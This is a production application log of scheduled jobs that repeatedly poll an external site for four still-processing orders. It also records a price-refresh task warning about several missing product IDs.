[2026-03-24 04:04:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"GuAb5WNYAho9502h1ikv0K22MatVNaQF","execution_time":"2026-03-24 04:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 04:04:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"GuAb5WNYAho9502h1ikv0K22MatVNaQF","execution_time":"2026-03-24 04:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 04:04:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"GuAb5WNYAho9502h1ikv0K22MatVNaQF","execution_time":"2026-03-24 04:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:05:00] production.INFO: Executing GetProducts task...  
[2026-03-24 04:05:00] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 04:05:00] production.INFO: Executing GetProducts task...  
[2026-03-24 04:05:02] production.INFO: async() رجع: true  
[2026-03-24 04:05:02] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 04:05:02] production.WARNING: Product with ID 395 not found  
[2026-03-24 04:05:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 04:05:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 04:05:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 04:05:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 04:05:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 04:05:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 04:05:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 04:05:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 04:05:03] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 04:06:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Sx8go3lMB06k6zIPJ9U5Dy0aZ4MFsjAZ","execution_time":"2026-03-24 04:06:01"} 
[2026-03-24 04:06:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Sx8go3lMB06k6zIPJ9U5Dy0aZ4MFsjAZ","execution_time":"2026-03-24 04:06:01","total_operations":4,"sites_count":1} 
[2026-03-24 04:06:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Sx8go3lMB06k6zIPJ9U5Dy0aZ4MFsjAZ","execution_time":"2026-03-24 04:06:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 04:06:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Sx8go3lMB06k6zIPJ9U5Dy0aZ4MFsjAZ","execution_time":"2026-03-24 04:06:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 04:06:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Sx8go3lMB06k6zIPJ9U5Dy0aZ4MFsjAZ","execution_time":"2026-03-24 04:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 04:06:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Sx8go3lMB06k6zIPJ9U5Dy0aZ4MFsjAZ","execution_time":"2026-03-24 04:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 04:06:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Sx8go3lMB06k6zIPJ9U5Dy0aZ4MFsjAZ","execution_time":"2026-03-24 04:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 04:06:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Sx8go3lMB06k6zIPJ9U5Dy0aZ4MFsjAZ","execution_time":"2026-03-24 04:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 04:06:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Sx8go3lMB06k6zIPJ9U5Dy0aZ4MFsjAZ","execution_time":"2026-03-24 04:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:06:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Sx8go3lMB06k6zIPJ9U5Dy0aZ4MFsjAZ","execution_time":"2026-03-24 04:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 04:06:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Sx8go3lMB06k6zIPJ9U5Dy0aZ4MFsjAZ","execution_time":"2026-03-24 04:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 04:06:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Sx8go3lMB06k6zIPJ9U5Dy0aZ4MFsjAZ","execution_time":"2026-03-24 04:06:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:08:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"fxAJIcHA7qZs8c3rRA4BGOqLXfEF91Nx","execution_time":"2026-03-24 04:08:01"} 
[2026-03-24 04:08:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"fxAJIcHA7qZs8c3rRA4BGOqLXfEF91Nx","execution_time":"2026-03-24 04:08:01","total_operations":4,"sites_count":1} 
[2026-03-24 04:08:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"fxAJIcHA7qZs8c3rRA4BGOqLXfEF91Nx","execution_time":"2026-03-24 04:08:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 04:08:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"fxAJIcHA7qZs8c3rRA4BGOqLXfEF91Nx","execution_time":"2026-03-24 04:08:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 04:08:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"fxAJIcHA7qZs8c3rRA4BGOqLXfEF91Nx","execution_time":"2026-03-24 04:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 04:08:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fxAJIcHA7qZs8c3rRA4BGOqLXfEF91Nx","execution_time":"2026-03-24 04:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 04:08:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fxAJIcHA7qZs8c3rRA4BGOqLXfEF91Nx","execution_time":"2026-03-24 04:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 04:08:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fxAJIcHA7qZs8c3rRA4BGOqLXfEF91Nx","execution_time":"2026-03-24 04:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 04:08:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fxAJIcHA7qZs8c3rRA4BGOqLXfEF91Nx","execution_time":"2026-03-24 04:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:08:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"fxAJIcHA7qZs8c3rRA4BGOqLXfEF91Nx","execution_time":"2026-03-24 04:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 04:08:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"fxAJIcHA7qZs8c3rRA4BGOqLXfEF91Nx","execution_time":"2026-03-24 04:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 04:08:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"fxAJIcHA7qZs8c3rRA4BGOqLXfEF91Nx","execution_time":"2026-03-24 04:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:10:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"oqnymGaGw5WI65wTQhVr5Kpe8XgAM1w1","execution_time":"2026-03-24 04:10:01"} 
[2026-03-24 04:10:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"oqnymGaGw5WI65wTQhVr5Kpe8XgAM1w1","execution_time":"2026-03-24 04:10:01","total_operations":4,"sites_count":1} 
[2026-03-24 04:10:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"oqnymGaGw5WI65wTQhVr5Kpe8XgAM1w1","execution_time":"2026-03-24 04:10:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 04:10:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"oqnymGaGw5WI65wTQhVr5Kpe8XgAM1w1","execution_time":"2026-03-24 04:10:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 04:10:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"oqnymGaGw5WI65wTQhVr5Kpe8XgAM1w1","execution_time":"2026-03-24 04:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 04:10:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"oqnymGaGw5WI65wTQhVr5Kpe8XgAM1w1","execution_time":"2026-03-24 04:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 04:10:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"oqnymGaGw5WI65wTQhVr5Kpe8XgAM1w1","execution_time":"2026-03-24 04:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 04:10:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"oqnymGaGw5WI65wTQhVr5Kpe8XgAM1w1","execution_time":"2026-03-24 04:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 04:10:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"oqnymGaGw5WI65wTQhVr5Kpe8XgAM1w1","execution_time":"2026-03-24 04:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:10:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"oqnymGaGw5WI65wTQhVr5Kpe8XgAM1w1","execution_time":"2026-03-24 04:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 04:10:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"oqnymGaGw5WI65wTQhVr5Kpe8XgAM1w1","execution_time":"2026-03-24 04:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 04:10:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"oqnymGaGw5WI65wTQhVr5Kpe8XgAM1w1","execution_time":"2026-03-24 04:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:10:01] production.INFO: Executing GetProducts task...  
[2026-03-24 04:10:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 04:10:01] production.INFO: Executing GetProducts task...  
[2026-03-24 04:10:03] production.INFO: async() رجع: true  
[2026-03-24 04:10:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 04:10:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 04:10:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 04:10:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 04:10:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 04:10:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 04:10:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 04:10:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 04:10:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 04:10:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 04:10:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 04:12:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"GgsqqwzQ2GHk25sMnFZbsrugXgGZHoEn","execution_time":"2026-03-24 04:12:01"} 
[2026-03-24 04:12:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"GgsqqwzQ2GHk25sMnFZbsrugXgGZHoEn","execution_time":"2026-03-24 04:12:01","total_operations":4,"sites_count":1} 
[2026-03-24 04:12:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"GgsqqwzQ2GHk25sMnFZbsrugXgGZHoEn","execution_time":"2026-03-24 04:12:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 04:12:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"GgsqqwzQ2GHk25sMnFZbsrugXgGZHoEn","execution_time":"2026-03-24 04:12:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 04:12:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"GgsqqwzQ2GHk25sMnFZbsrugXgGZHoEn","execution_time":"2026-03-24 04:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 04:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"GgsqqwzQ2GHk25sMnFZbsrugXgGZHoEn","execution_time":"2026-03-24 04:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 04:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"GgsqqwzQ2GHk25sMnFZbsrugXgGZHoEn","execution_time":"2026-03-24 04:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 04:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"GgsqqwzQ2GHk25sMnFZbsrugXgGZHoEn","execution_time":"2026-03-24 04:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 04:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"GgsqqwzQ2GHk25sMnFZbsrugXgGZHoEn","execution_time":"2026-03-24 04:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:12:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"GgsqqwzQ2GHk25sMnFZbsrugXgGZHoEn","execution_time":"2026-03-24 04:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 04:12:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"GgsqqwzQ2GHk25sMnFZbsrugXgGZHoEn","execution_time":"2026-03-24 04:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 04:12:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"GgsqqwzQ2GHk25sMnFZbsrugXgGZHoEn","execution_time":"2026-03-24 04:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:14:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"rUJkUOEIAP6N1vSJ6gRKqEFVUXRxaPzX","execution_time":"2026-03-24 04:14:02"} 
[2026-03-24 04:14:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"rUJkUOEIAP6N1vSJ6gRKqEFVUXRxaPzX","execution_time":"2026-03-24 04:14:02","total_operations":4,"sites_count":1} 
[2026-03-24 04:14:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"rUJkUOEIAP6N1vSJ6gRKqEFVUXRxaPzX","execution_time":"2026-03-24 04:14:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 04:14:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"rUJkUOEIAP6N1vSJ6gRKqEFVUXRxaPzX","execution_time":"2026-03-24 04:14:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 04:14:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"rUJkUOEIAP6N1vSJ6gRKqEFVUXRxaPzX","execution_time":"2026-03-24 04:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 04:14:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rUJkUOEIAP6N1vSJ6gRKqEFVUXRxaPzX","execution_time":"2026-03-24 04:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 04:14:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rUJkUOEIAP6N1vSJ6gRKqEFVUXRxaPzX","execution_time":"2026-03-24 04:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 04:14:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rUJkUOEIAP6N1vSJ6gRKqEFVUXRxaPzX","execution_time":"2026-03-24 04:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 04:14:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rUJkUOEIAP6N1vSJ6gRKqEFVUXRxaPzX","execution_time":"2026-03-24 04:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:14:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"rUJkUOEIAP6N1vSJ6gRKqEFVUXRxaPzX","execution_time":"2026-03-24 04:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 04:14:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"rUJkUOEIAP6N1vSJ6gRKqEFVUXRxaPzX","execution_time":"2026-03-24 04:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 04:14:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"rUJkUOEIAP6N1vSJ6gRKqEFVUXRxaPzX","execution_time":"2026-03-24 04:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 04:15:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 04:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 04:15:04] production.INFO: async() رجع: true  
[2026-03-24 04:15:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 04:15:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 04:15:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 04:15:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 04:15:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 04:15:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 04:15:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 04:15:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 04:15:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 04:15:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 04:15:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 04:16:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"7S1dlvQ0KeCHPFLW4Hw4hKTOBBABxeD5","execution_time":"2026-03-24 04:16:02"} 
[2026-03-24 04:16:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"7S1dlvQ0KeCHPFLW4Hw4hKTOBBABxeD5","execution_time":"2026-03-24 04:16:02","total_operations":4,"sites_count":1} 
[2026-03-24 04:16:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"7S1dlvQ0KeCHPFLW4Hw4hKTOBBABxeD5","execution_time":"2026-03-24 04:16:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 04:16:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"7S1dlvQ0KeCHPFLW4Hw4hKTOBBABxeD5","execution_time":"2026-03-24 04:16:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 04:16:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"7S1dlvQ0KeCHPFLW4Hw4hKTOBBABxeD5","execution_time":"2026-03-24 04:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 04:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"7S1dlvQ0KeCHPFLW4Hw4hKTOBBABxeD5","execution_time":"2026-03-24 04:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 04:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"7S1dlvQ0KeCHPFLW4Hw4hKTOBBABxeD5","execution_time":"2026-03-24 04:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 04:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"7S1dlvQ0KeCHPFLW4Hw4hKTOBBABxeD5","execution_time":"2026-03-24 04:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 04:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"7S1dlvQ0KeCHPFLW4Hw4hKTOBBABxeD5","execution_time":"2026-03-24 04:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:16:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"7S1dlvQ0KeCHPFLW4Hw4hKTOBBABxeD5","execution_time":"2026-03-24 04:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 04:16:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"7S1dlvQ0KeCHPFLW4Hw4hKTOBBABxeD5","execution_time":"2026-03-24 04:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 04:16:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"7S1dlvQ0KeCHPFLW4Hw4hKTOBBABxeD5","execution_time":"2026-03-24 04:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:18:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"E13ejZ5YeMNaqx0SfvaOWt386T1CFhon","execution_time":"2026-03-24 04:18:02"} 
[2026-03-24 04:18:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"E13ejZ5YeMNaqx0SfvaOWt386T1CFhon","execution_time":"2026-03-24 04:18:02","total_operations":4,"sites_count":1} 
[2026-03-24 04:18:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"E13ejZ5YeMNaqx0SfvaOWt386T1CFhon","execution_time":"2026-03-24 04:18:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 04:18:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"E13ejZ5YeMNaqx0SfvaOWt386T1CFhon","execution_time":"2026-03-24 04:18:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 04:18:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"E13ejZ5YeMNaqx0SfvaOWt386T1CFhon","execution_time":"2026-03-24 04:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 04:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"E13ejZ5YeMNaqx0SfvaOWt386T1CFhon","execution_time":"2026-03-24 04:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 04:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"E13ejZ5YeMNaqx0SfvaOWt386T1CFhon","execution_time":"2026-03-24 04:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 04:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"E13ejZ5YeMNaqx0SfvaOWt386T1CFhon","execution_time":"2026-03-24 04:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 04:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"E13ejZ5YeMNaqx0SfvaOWt386T1CFhon","execution_time":"2026-03-24 04:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:18:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"E13ejZ5YeMNaqx0SfvaOWt386T1CFhon","execution_time":"2026-03-24 04:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
